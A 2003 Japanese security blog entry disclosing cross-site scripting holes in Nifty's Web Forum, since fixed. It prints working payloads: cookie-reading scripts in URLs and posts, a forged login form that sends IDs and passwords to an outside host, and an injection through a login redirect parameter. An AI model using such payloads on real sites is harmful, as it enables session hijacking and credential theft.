水無月ばけらのえび日記

bakera.jp > 水無月ばけらのえび日記 > XSS大王

XSS大王

2003年6月18日(水曜日)

XSS大王

更新: 2003年6月27日

ニフティの Web フォーラム (com.nifty.com)において、私が見てきた中で最大のクロスサイトスクリプティング脆弱性を発見してしまいました (ただし、一部は私が発見したのではなくりゅうさんによる情報です)。

※以下は 20日削除、27日再公開部分。いずれも現在は修正されていますので、解説のような現象は起きません。

せっかくなので詳細に説明します。まず検索フォームについてですが、以下のような URL をリクエストするとクロスサイトスクリプティング脆弱性によって Cookie の値が表示されます。

https://com.nifty.com/forum/circle/search.go?free=<script>document.write(document.cookie)</script>&SearchCircleStatus=CircleSearchServlet4

これはログインフォームと同じドメイン・スキームです。パスは違いますが、ログインフォームで発行される Cookie は path=/ と指定されているので問題ありません。

次に書き込みですが、Web フォーラムには <TAG OK!> とされている掲示板があります。そのような会議室では任意のスクリプトを含む投稿が可能です。たとえば以下のような文字列を投稿します。

<b style="display: block; position: relative; width: 100%; height; 5em; font-size: 200%;" onmouseover="var id = 'あなたのセッション ID は「' + document.cookie + '」です。<br>もし、セッション ID の値が表示されていたら危険です。この値を知られるとセッションハイジャックが行われる可能性があります。このスクリプトは外部にセッション ID を送出することはしていませんが、悪意あるユーザはセッション ID を外部に送出し、それを使ってセッションハイジャックを行おうとするかも知れません。<br>画像も表示できることですし、セッション ID を外部に送出するのは簡単です。<br><br>合掌。<img src=&quot;http://www.nifty.com/policy/images/nifty_w-S32.gif&quot;>'; foo = window.open(); foo.document.writeln(id);">Click Me!!</b>

このデモは、マウスが近くに来ると警告のウィンドウが開きます。実際の攻撃では警告ウィンドウなど表示せず、ひっそりと外部にセッション ID を送ることになるでしょう。上記のデモはわざと凝った作りにしていますが、img要素が使用できるので、攻撃はもっとずっと容易です。

※なお、実際に上記のデモを Web 快適活用フォーラムのお試しB (bbs1.nifty.com) に投稿して動作を確認しています。現在では該当発言は (おそらくは管理者によってひっそりと) 削除されています。

※2003-06-21 追記: ひっそりと、などと書いていましたが、その後管理者の Tigerさんから正式にご連絡いただきました。Tigerさんにはその後も大変お世話になりました。本当にありがとうございました。

さて次ですが、ログインフォーム捏造というのは、たとえばこんな URL をリクエストします。action の値を変えれば好きなところにパスワードを送らせることができます。

https://com.nifty.com/forum/login.go?RETURL=&wr_url="></form><form action="http://altba.com">ID:<input name="id"><br>パスワード:<input name="pass"><br><input type="submit" value="ログイン"></form><table style="display:none;

※最初の form要素終了タグは本物のフォームを無効化するために、最後の table要素開始タグは本物のフォームコントロールを隠蔽するために使用しています。引用符が閉じていないように見えるのは、この値が本来は属性値の中に出力されるためです。なお、このデモはフォームコントロールの配置にこだわっていませんが、style属性に任意の値が指定できますので、本物そっくりの配置にすることも可能です。

このような URL をリクエストするリンクを作り、うまい文言でユーザを誘導します。ユーザが捏造に気づかずにログインを試みてくれれば成功で、攻撃者の望んだところに ID とパスワードが送られます。これは @nifty の ID とパスワードそのものを盗むことができるので、セッションハイジャックよりもずっと危険です。

最後 4番目ですが、問題のログインフォームには、引数として「ログイン後の遷移先 URL」を渡すことができます。これがこともあろうに、ログイン後画面の location.href= として実装されているため、script要素の中に任意のスクリプトを書くことができます。たとえば

https://com.nifty.com/forum/login.go?RETURL=";alert(document.cookie);var%20foo="

などをリクエストします。ログインフォームの中では URL エンコードされているので無害になりますが、ログインに成功したあとでスクリプトが実行されます。

※お尻の var foo=" はスクリプトエラーにならないようにするためのダミーです。なお、少なくとも IE6 SP1 の場合は、location.href="foo"; alert("bar"); と書いてある場合、alert が実行されてから遷移するようです。つまり location.href の後ろに悪意あるスクリプトを書いても OK ということです。

※ここまで 20日削除、27日再公開部分。

おそらくは他にもあるでしょうが、私が気づいたのはこれだけです。しかし、いずれもユーザが気づかないうちにセッションハイジャックが行われたり、生のパスワードが漏洩する可能性がある危険なものです。これらの攻撃のほとんどはスクリプトを無効にすることで防ぐことができます (3番目のフォーム捏造を除く)。しかしながら、Web フォーラムではスクリプトを有効にすることが推奨されている (実際、有効にしないとメニューの一部が機能しない) ので、Web フォーラムにログインするユーザのほとんどはスクリプトを有効にしていることでしょう。

これだけあると報告するだけでも一苦労ですが、危険が大きすぎるので頑張って報告したいところです……が、諸事情により、私はニフティのフォーラム部とはもう関わり合いたくないと思っていたりするので、報告する気が起きないのでした。そんなわけで、むしろ危険性をより多くの人に知ってもらう方向で動くことにします。

善意と暇のある方は、ニフティに報告してあげてください。

そうでない方がとりあえず対処したい場合、方法は二つほど考えられます。

好きな方を選んでください。ただし、フォーム捏造については処置無しです。

※2003-06-20 追記 : 善意ある方が現れましたので、内容の一部を伏せました。

※2003-06-27 追記 : クロスサイトスクリプティング脆弱性修正されましたので、伏せた内容を再公開しました。修正済みですので、現在は上記の攻撃はいずれも成立しません。もっとも、別のセキュリティホールは残っていますが……。

関連する話題: Web / セキュリティ / ニフティ / XSS大王

最近の日記

関わった本など